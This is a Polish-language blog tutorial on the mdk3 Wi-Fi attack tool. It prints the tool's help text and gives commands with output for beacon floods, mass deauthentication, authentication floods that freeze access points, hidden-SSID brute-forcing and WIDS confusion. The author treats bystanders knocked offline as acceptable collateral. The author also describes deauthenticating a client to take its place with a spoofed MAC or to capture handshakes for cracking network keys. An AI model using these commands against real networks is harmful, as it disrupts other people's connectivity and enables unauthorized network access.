[WiFi] – Obsługa programu MDK3

Jednym z ciekawych programów do ataków na sieci bezprzewodowe jest opisany już w kompendium DDoS program mdk3. Służy on do wielu ataków na sieci bezprzewodowe.

Program do nabycia jest tutaj. Program należy rozpakować i zainstalować z poziomu roota:

make && make install

Pełna pomoc dotycząca programu wygląda mniej-więcej tak:

mdk3 --fullhelp
MDK 3.0 v6 - "Yeah, well, whatever"
by ASPj of k2wrlz, using the osdep library from aircrack-ng
And with lots of help from the great aircrack-ng community:
Antragon, moongray, Ace, Zero_Chaos, Hirte, thefkboss, ducttape,
telek0miker, Le_Vert, sorbo, Andy Green, bahathir and Dawid Gajownik
THANK YOU!
 
MDK is a proof-of-concept tool to exploit common IEEE 802.11 protocol weaknesses.
IMPORTANT: It is your responsibility to make sure you have permission from the
network owner before running MDK against it.
 
This code is licenced under the GPLv2
 
MDK USAGE:
mdk3 [test_options]
 
Try mdk3 --fullhelp for all test options
Try mdk3 --help for info about one test only
 
TEST MODES:
b - Beacon Flood Mode
Sends beacon frames to show fake APs at clients.
This can sometimes crash network scanners and even drivers!
a - Authentication DoS mode
Sends authentication frames to all APs found in range.
Too much clients freeze or reset some APs.
p - Basic probing and ESSID Bruteforce mode
Probes AP and check for answer, useful for checking if SSID has
been correctly decloaked or if AP is in your adaptors sending range
SSID Bruteforcing is also possible with this test mode.
d - Deauthentication / Disassociation Amok Mode
Kicks everybody found from AP
m - Michael shutdown exploitation (TKIP)
Cancels all traffic continuously
x - 802.1X tests
w - WIDS/WIPS Confusion
Confuse/Abuse Intrusion Detection and Prevention Systems
f - MAC filter bruteforce mode
This test uses a list of known client MAC Adresses and tries to
authenticate them to the given AP while dynamically changing
its response timeout for best performance. It currently works only
on APs who deny an open authentication request properly
g - WPA Downgrade test
deauthenticates Stations and APs sending WPA encrypted packets.
With this test you can check if the sysadmin will try setting his
network to WEP or disable encryption.

Kolejne podstawowe opcje programu to:

b wysyła w eter ramki pokazujące, że istnieją sieci w okolicy, MAC i nazwa AP są losowe

$mdk3 mon0 b -c 1
Current MAC: CD:BA:AB:F2:FB:E3 on Channel 1 with SSID: $a71i0Rk
Current MAC: 8B:00:22:56:9A:D4 on Channel 1 with SSID: x(JkTemPM|f(Bph@)xD]
Current MAC: 5D:1D:0C:F4:F0:72 on Channel 1 with SSID: *#bZ`Ln$&dQ&jk0|JQ`=L^P`8FGtKQ
Current MAC: 34:2F:F3:78:FF:06 on Channel 1 with SSID: "zy=GYf&UNVT"g0I&%0:
Current MAC: E2:DA:1D:D9:B4:1D on Channel 1 with SSID: `RF@{{Y[a5nl?S
Current MAC: 70:94:22:8F:E9:68 on Channel 1 with SSID: &*:GHEz}$Qlfkl(E^T5}^
Current MAC: F0:86:A2:6A:E1:F7 on Channel 1 with SSID: nsH80ML5$h!.hnM(hS9;|&(vlux&v1

Opcję tą można poszerzyć przez użycie dodatkowych parametrów wywołania:

  • -w stacje będą pokazywane jako zabezpieczone WEP
  • -n ssid, użyje podanej nazy sieci zamiast losowej, np. mdk3 b -n ‘Pentagon’
  • -f plik, użyje nazw sieci podanych w pliku
  • -v plik, użyje MAC adresów podanych w pliku
  • -d pokaż stację jako Ad-Hoc
  • -a stacje będą pokazywane jako zabezpieczone WPA AES
  • -t stacje będą pokazywane jako zabezpieczone WPA TKIP
  • -c liczba, działaj na określonym kanale
  • -s liczba, staraj się wysyłaś tyle pakietów na sekundę

W tych opcjach chyba nie ma za wiele do pokazania, trzeba sobie po prostu poeksperymentować

Opcja d służy do deautoryzacji podłączonych klientów z sieci, wszystkich albo określonego AP

mdk3 mon0 d
Disconnecting between: 48:5D:60:34:A8:59 and: 00:04:ED:A3:80:11
Disconnecting between: 48:5D:60:34:A8:59 and: 00:04:ED:A3:80:11
Disconnecting between: 48:5D:60:34:A8:59 and: 00:04:ED:A3:80:11
Disconnecting between: 48:5D:60:34:A8:59 and: 00:04:ED:A3:80:11
Disconnecting between: 48:5D:60:34:A8:59 and: 00:04:ED:A3:80:11
...
Disconnecting between: 48:5D:60:34:A8:59 and: 00:04:ED:A3:80:11
Disconnecting between: 48:5D:60:34:A8:59 and: 00:04:ED:A3:80:11

I zostałem szybko rozłączony z siecią, kilka innych osób w zasięgu ataku też, ale to przypadkowe ofiary ;)
Dodatkowe opcje:

  • -w plik, odczytaj MAC adresy, których NIE ruszać podczas ataku
  • -b plik, odczytaj MAC adresy, które atakować
  • -s liczba, wysyłaj pakiety z określoną prędkością
  • -c liczby, działaj na określonych kanałach np. 1,2,3,6,14; kanał zmienia się po 5 sekund

Opcja ta jest mi często przydatna, przy statycznej bazie MAC adresów, gdy klient jest podłączony, można go łatwo wyrzucić, zająć jego miejsce w sieci po zmianie swojego MAC adresu na MAC za który się podszywamy, lub przy atakach gdy potrzebujemy przechwycić handshake by złamać klucz zabezpieczający dostęp do sieci. Po przerwaniu połączenia użytkownika musi on połączyć się ponownie z AP, zachodzi wtedy wymiana klucza dostępowego.

Kolejną opcją tego programu jest możliwość zalewania pobliskich AP ramkami autoryzującymi. W pomocy programu napisane jest, że zbyt duża ilość ramek może zamrozić lub całkowicie zawiesić AP, osobiście zdarzyło mi się to tylko raz.
Opcje masowej autoryzacji wywołujemy z polecenia mdk3 intf a.

Dodatkowe możliwości przy tej opcji to:

  • -a MAC_ADDR atakuj tylko określony AP
  • -c nie sprawdzaj czy atak zadziałał, program będzie atakował szybciej, sami nie będziemy wiedzieli czy atak powiódł się czy nie
  • -i MAC_ADDR ta opcja jest tą, która działa na większości AP, jej działanie jest bardzo proste, jednak IOS’y nie potrafią się przed tym bronić, sniffuje jakąś ramkę, która kierowana była do określonego AP, a potem ciągle ją wstrzykuje i grzecznie idą spać. Ważne by dodać, że gdy opcja -i jest włączona program ignoruje opcje -a oraz -c
  • -s liczba, standardowo, liczba pakietów na sekundę

Spójrzmy na przykłady działania opcji a.

W poniższym poleceniu będziemy masowo logowali się do jakiegoś router określonego adresem 00:04:ED:A3:80:11 działając tylko na kanale 1, ponieważ ten router jest skonfigurowany by transmitował i odbierał tylko z tej częstotliwości.

mdk3 mon0 a -a 00:04:ED:A3:80:11 -c 1
Connecting Client: 67:C6:69:73:51:FF to target AP: 00:04:ED:A3:80:11
Connecting Client: 16:87:47:3C:3F:0A to target AP: 00:04:ED:A3:80:11
Connecting Client: 9D:07:3C:BD:7C:CA to target AP: 00:04:ED:A3:80:11
Connecting Client: 66:BB:24:1E:9F:A0 to target AP: 00:04:ED:A3:80:11
Packets sent: 2722 - Speed: 1188 packets/sec

Poniżej zlepek znaczków wyświetlanych przez airodump-ng, zapuszczonego także tylko na 1. kanale.

[CH  1 ][ Elapsed: 8 s ][ 2010-12-26 14:50
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
 
00:04:ED:A3:80:11 -44 0 68 683 27 1 54 WPA2 CCMP PSK NASA
 
BSSID STATION PWR Rate Lost Packets Probes
 
00:04:ED:A3:80:11 59:9F:4A:C6:16:B9 0 0 - 1 0 2
00:04:ED:A3:80:11 6E:18:14:08:94:20 0 0 - 1 0 2
00:04:ED:A3:80:11 B0:D5:32:2B:37:3B 0 0 - 1 0 2
00:04:ED:A3:80:11 B0:AF:2D:60:EF:E1 0 0 - 1 0 2
00:04:ED:A3:80:11 17:25:58:C4:A3:26 0 0 - 1 0 2
00:04:ED:A3:80:11 0B:2A:6D:77:6F:01 0 0 - 1 0 2
00:04:ED:A3:80:11 E1:D9:99:7B:0B:51 0 0 - 1 0 2
00:04:ED:A3:80:11 E6:51:7B:61:09:43 0 0 - 1 0 2
00:04:ED:A3:80:11 0B:07:AF:40:B3:50 0 0 - 1 0 2
00:04:ED:A3:80:11 15:49:D2:DB:8B:04 0 0 - 1 0 2
00:04:ED:A3:80:11 65:29:14:2E:FE:F1 0 0 - 1 0 2
00:04:ED:A3:80:11 E1:AE:59:C9:7F:AC 0 0 - 1 0 2
00:04:ED:A3:80:11 0B:65:5A:70:12:52 0 0 - 1 0 2
00:04:ED:A3:80:11 AF:0E:71:11:3B:80 0 0 - 1 0 2
00:04:ED:A3:80:11 4B:E1:C6:42:31:0B 0 0 - 1 0 2

Lista była o wiele dłuższa, ale nie mieściła się na ekranie. Sami sprawdźcie jak szybko zmienia się tabela adresów stacji

Opcja mdk3 mon0 a -i została krótko opisana w kompendium DDoS, więc nie będę do niej wracał, jeśli ktoś nie czytał:

bardzo szybko zawiesza APy. Nie lubię jej włączać będąc blisko domu.

mdk3 oferuje też opcję do włamywania do sieci o ukrytym SSID, można włamywać się metodą brute-force lub słownikiem.
Opcję wywołujemy przez polecenie mdk3 inft p opcje_dodatkowe

  • -t MAC_ADDR okreśmay tutaj MAC adres AP o ukrytym SSID
  • -f plik z jakiego pliku testować nazwy sieci
  • -s liczba tutaj standardowo jak w poprzednich przykładach
  • -b atak brute-force, określamy też tutaj z jakich charów składać SSID

Teraz coś o wprowadzaniu zamieszania w systemach WIDS, WIPS oraz WDS.
Ta opcja to mdk3 intf w.

Atak na WDS przeprowadzany jest przez kilku połączonych klientów, przez co pojawiają się śmieci w tabeli routingu.

  • -e SSID sieci –ofiara
  • -c liczby kanały, na których działa system
  • -z aktywuj exploita ZERO_CHAOS, autoryzuje klientów do odleglejszych AP, WIDSy nie radzą sobie z takimi problemami, rodzą się różne problemy

Dobiegliśmy do końca opisu programu mdk3, za wielu przykładów tutaj nie ma, gdyż uważam, że obsługi programu nie nauczysz się z przykładów, lecz z własnych prób i doświadczeń.

[Total: 0    Average: 0/5]